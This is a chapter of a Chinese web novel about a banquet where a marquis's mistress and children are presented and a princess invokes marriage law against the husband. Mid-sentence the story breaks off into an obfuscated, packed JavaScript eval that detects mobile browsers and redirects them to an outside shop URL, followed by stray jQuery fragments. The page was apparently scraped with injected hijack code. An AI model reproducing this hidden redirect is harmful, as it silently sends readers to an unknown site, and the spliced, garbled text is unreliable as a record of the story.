“侯爷,不好了,外面一个女人带着两个孩子正跪在大门前哭呐!”
曲周侯府的下人高声喊着,跪在了地上。
一时,所有人都停止了说话,看向曲周侯的广顺候。
一个女人带着两个孩子?除了广顺候娶的外室,再想不到有谁会在这个时候来曲周侯府门外。
曲周侯用如双剑般锋利的眼神看向广顺候,“好啊,好啊,袁蒯,今日你是诚心和我过不去了,我的生辰宴,你是故意让我不好过了。”
不等袁蒯说话,义王就替他解释:“哎呀,弟妹,袁蒯兄不是这个意思。”义王又对袁蒯说:“袁兄弟,你倒是快说说的你打算呀,让弟妹误会了,这就是你的不是了。”义王好意劝解道。
曲周侯轻笑一声,看了一眼义王,好一个为陛下分忧的义王啊。
不等袁蒯说话,曲周侯不再看袁蒯和义王,一张圆润的脸堆起笑意,一个转身,身上价值连城的披帛轻轻一旋。
她站在上道:“各位,今日实在对不住,本是让大家来热闹热闹,放松放松,可谁知……闹成这样,既然如此,我张之今日就破罐破摔,穿上彩衣,让大家乐呵乐呵。”
“来人啊,把那母子三人带进来,今日难得人齐,好让大家尽性,这戏台子搭上了,岂能走空呢。”
曲周侯的眼一一扫过袁蒯、义王、郭运、二皇子等人的脸,之前的愤怒消退,眼神带着一丝讳莫如深:“各位唱戏的角儿们,可得要好好的演,唱好了我有赏,唱不好,我可得罚人的。”
袁蒯、义王、郭运、二皇子几人对曲周侯隐晦和带着嘲讽的话,心中如何想,其他人不得而知,只知道,今日这生辰宴,是宴无好宴。
就像真准备好了什么唱戏班子一样,曲周侯招呼着人坐下,下人们端上了美酒好菜,只是现在还有谁有心思吃菜喝酒。
很快,筵席开始了,那母子三人也被带到了席中央,只见一个长相柔美的年轻美貌的女子,怀里抱着一个还在吃奶的娃娃,左边牵着一个刚回走路的孩子,小心翼翼的走了进来。
三人跪在宴会厅中央,袁蒯焦急的看向母子三人,曲周侯冷笑一声,“袁蒯是不是要给他们母子三人看座呀。”
袁蒯有心想为母子三人求情,但他那根直通肠子的脑筋也知道,现在为他们三人求情,就是打妻子的脸,会让妻子更加生气,只得讪讪的道:“都是我的错。”
“袁蒯啊袁蒯,你那猪脑子什么都想不到,唯有这句话说得没错。”曲周侯音量忽然拔高道:“的确是你的错!你怎么还有脸坐下的!你该跟着他们母子三人,跪在地上,给老娘磕三个响头才是!”
漆姑看着姨母,表面愤怒,笑不达眼底,有一种奇怪的感觉。
广顺候从母子三人进来后,眼中只有那母子三人,对曲周侯的愤怒也没有很在意。
他问司马弘:“今日,这母子三人是……安排的?”漆姑眼睛扫了扫义王和二皇子的方向?
“漆姑聪敏。”
“少看不起人。”
“都是我的错,今后再不小瞧漆姑。”
漆姑看了一眼司马弘面带笑意的眼睛,“他们到底想干嘛?”
“无他,若是对手防线太强,便想从墙的一角攻破而已。”
这时,女人啼哭的声音传来,“姐姐,都是我不好,求您息怒,便是要我死也甘愿。”
会走路的孩子懵懂的看着自己的阿母哭得伤心,拉着她的袖子跟着哭了着,怀里的孩子开始在她怀里不安的啼哭起来。
宴会厅内一时只听两个孩子尖锐的哭声,母子三人柔弱无依的样子,当真惹人怜惜。
曲周侯却看也不看一眼,自顾自的品尝着桌上一道道的精致的菜。
坐在她身旁的女儿袁壮拉了拉她的袖子,担忧的看向阿母,“阿母,你别伤心。”
曲周侯夹了一筷子菜到女儿的碟中,“多吃点,你身子才刚刚见好,不要因为不相干的人影响自己。”
“够了!”袁蒯终于忍不住,从位置上站了起来,“阿令,你何必如此!”
袁蒯走到母子三人面前,抱起女子,“阿令,我已决定,让阿婄的两个孩子都养在你的名下,今后阿婄作妾,你仍然是我的妻子,你又何苦如此相逼。”
一时宴会厅里筷著砰碗碟的声音都停了,连女人和两个孩子的哭声都识相的停了下来。
那年轻女人不知开心还惊讶,不敢相信的泪眼朦胧的看向袁蒯。
漆姑听了广顺候的话,手里的筷子重重的往桌上一放,这广顺候真是好大的口气,把自己的错说得像是对姨母的施恩一样。
她眼神闪了闪,这样的人,上辈子母后为何要保他一命,就该让他和义王一样,死无全尸!
司马弘拉过她的手,她刚才打二公主的手红肿尚未消退,现在两个手指头被筷子压红。
“手可疼?何必为了不值得的人伤了自己。”一边说,一遍小心的揉着红了的地方。
漆姑任由他拉着手,主要她想拔也拔不回来,“从未见过如此厚颜无耻之人。”漆姑气愤道。
司马弘指尖细细的再漆姑手指揉着,漆姑的手指圆润有肉,掌心肉呼呼的,还有些薄薄的茧子,这是常年握锄头留下的。
漆姑手心上的茧子,被他干燥的手指尖轻轻剐蹭着,有点痒又有点舒服,她试图收回手,司马弘死活不放。
他一点都不在意那母子三人和袁蒯,只对她手心感兴趣似的,漆姑被弄得有点痒,受不了的小声呵斥:“你干嘛!”
司马弘用大拇指在漆姑手心轻轻的碾了碾,爱不释手似的。
漆姑被他弄得难受,好像他手碾的不是她的手心,是她的心脏。
“司马弘,要脸不要!”另外一只手覆住她的手,让他停止动作,她真的怕了他了,简直比用剑刺穿她的手掌还让她难受。
被漆姑骂了一句,司马弘不仅不生气,嘴角露出一丝畅快的笑意,他竟将漆姑的手心放在自己的唇边,轻轻啄了啄。
手心传来淡淡的潮湿,带着轻如羽毛落在掌心的呼吸,漆姑吓得使劲抽回自己的手。
她双手交叠,握紧拳头,那带像羽毛剐蹭掌心的感觉此次无法褪去,怒看司马弘,人家却摸了摸她的头,重新看向了席中央。
漆姑只得警惕的看向四周,好在众人注意力都在筵席中央四人和姨母身上,没人注意到司马弘放肆的动作。
除却一心一意都在司马弘身上的高如玉,看到两人亲密到不避讳任何人的模样,休渊竟然……那可是她心中的明月般的司马弘休渊啊,他竟然将那村姑的手,放在唇上……
高如玉心中暗恨,楚漆姑,你以为你能嫁给休渊?休想!
“哈哈哈!!!”
这时,曲周侯看着袁蒯抱着怀里的女人和孩子,大笑了三声。
就像看到戏班子唱到精彩之处一样,连义王都看不懂,这曲周侯到底在想什么了。
不过他坐在席上,举起酒杯往自己的口中送了一口酒,今日的酒不错,正正好,想来,袁蒯今日后,就能有决断了。
在陛下那里,他也能有所交代了。
“袁蒯啊,你早说你的想法,我怎么会不允呢,我简直太喜欢这位妹妹了呀,来人,来人,快看座!”
“啊?”
众人被曲周侯突然的转变感到不解,之前坚决要和袁蒯和离的人,现在突然就不怨不怒了,欢喜的手下这位“妹妹”?
诡异,实在诡异。
义王刚吞完一口酒,差点没被这突如其来的转折呛到,他不确定的问:“这么说,曲周侯你是答应让他们母子三人入府,给他们名分了?”
袁蒯和他怀中的女人一时都惊呆了,这是怎么回事,之前周旋了如此久,曲周侯都不松口,今日却为何……
曲周侯道:“没错,我都答应了。”
“太好了,真是太好了,袁蒯,你看弟妹还是如此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677980|180603||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
识大礼的嘛,来还不快让两个孩子给主母磕头,给壮儿这个当姐姐的见礼,以后这就是你们母亲和姐姐了。”义王比袁蒯还激动。
曲周侯看向义王,今日这一出戏,袁蒯看似是主角,实际的主角却不是他。
袁蒯怀中的女人抱着怀里孩子的手紧了紧,看向袁蒯,“蒯哥,这,这……先前不是说,让我们母子三人住到你的府邸上去的吗。”
曲周侯忍下心中的厌恶,道:“哎~妹妹,广顺候府不如曲周侯府方便,那里连个伺候的人都没有,怎么能让你去那里住呢,再说我们一家人怎么能分开住,那多生分呢,一家人就要整整齐齐的‘在一起’。”
不知为何,曲周侯笑着,但是众人觉得这笑,让人看着可怕。
曲周侯又对义王道:“信臣兄,我和袁蒯的事情还多亏你从中斡旋,否则我还真没那么容易想通。”曲周侯对着义王举起酒杯:“来这一杯我敬你,没有你,我和袁蒯怕是劳燕分飞了。”
义王笑了几声,“哈~我什么都没做,弟妹能想通就最好了。”
“通,想得太通了,豁然开朗。”她眼神划过一丝精光“义王你是出了大力,将来我定要好好报答你。”
“阿之妹子言重了,只是,我想着母子三人住在你的曲周侯府始终不好,让他们住在袁兄弟的广顺候府去,一来也不碍你眼,你得个清净,否则那么小的孩子有个三灾五病的你还要费心;二来我大侄女壮儿的身子还需要你看顾,为兄于心不忍你劳累啊。”
袁蒯连忙点头,朝着义王投去感激一笑。
曲周侯的指尖握着酒杯发白,面上却笑道:“义王之前不还是说我是孩子们的主母吗,既为主母自然要担负责任,义王放心,两个孩子在我这里,我自然好好待他们,必不叫他们在我这里有什么三长两短的,若是孩子们出事,义王只管来找我!”
那女人仰头看向袁蒯,袁蒯不知为何,之前希望妻子接受他们母子三人,可她突然接受了,他心里又忽然开始发慌,于是道:“阿之,不若还是让他们三人到广顺候住吧。”
漆姑再忍不得,掷地有声的怒喝:“姨父,怎么,不是你一直在请求姨母给他们母子三人名分吗!如今姨母都按照你的想法全依了你,你现在又想得寸进尺了!
让这女人住广顺候府,每日还需不需给主母请安,需不需伺候主母跟前?姨父你呢,你每日是回曲周侯府还是广顺候府?之前哭着抢着的来姨母面前,姨母答应了,又想让他们母子三人在广顺候府居住。
哼!不知道的人还以为这个女人才是广顺候府的女主人,亦或你不想让这女子做妾,是想娶平妻?姨父,齐人之福可不是这样享的!便是入宫到父皇那里,怕是父皇这次也不会偏帮你了,抬外室为平妻,于情于理于法,似乎都不大对吧。”
漆姑又看向今日来参加生辰宴的御史丞和宗正丞,“御史令和宗正令我说的可对?”
“的确如此,广顺候,你为一己之私娶外室本就私德有亏、有违国法,现在还想将外室扶为平妻,那更是错上加错!”
“广顺候,你和曲周侯的婚事是陛下亲自保的,如今你做下此等错事,曲周侯念及夫妻情谊,准许他们母子三人入府,但想抬为平妻,的确违反律法。”
御史令刚正不阿,管的正是官员不举的行为,宗正令管着皇室婚丧嫁娶之事,皇后一国之母,曲周侯又是皇后之妹,她的婚事,归宗正室管。
广顺候纳外室入府为妾,尚且情有可原,陛下睁一只眼闭一只眼也就算了,但他抬外室为平妻,那就不一样了,他们御史寺和宗正寺绝不允许,否则其他官员、皇亲国戚如此效仿,岂不乱了套。
竟没想到这乡野回来的大公主,人人都说她粗鄙不堪,她自称做事粗放,可人家随便就拿礼法压住了广顺候。
义王的目光向大公主投去,果然有些不一样。
又看向她身旁的司马弘,张家倒是好运气,眼中不知是嫉妒还是羡慕。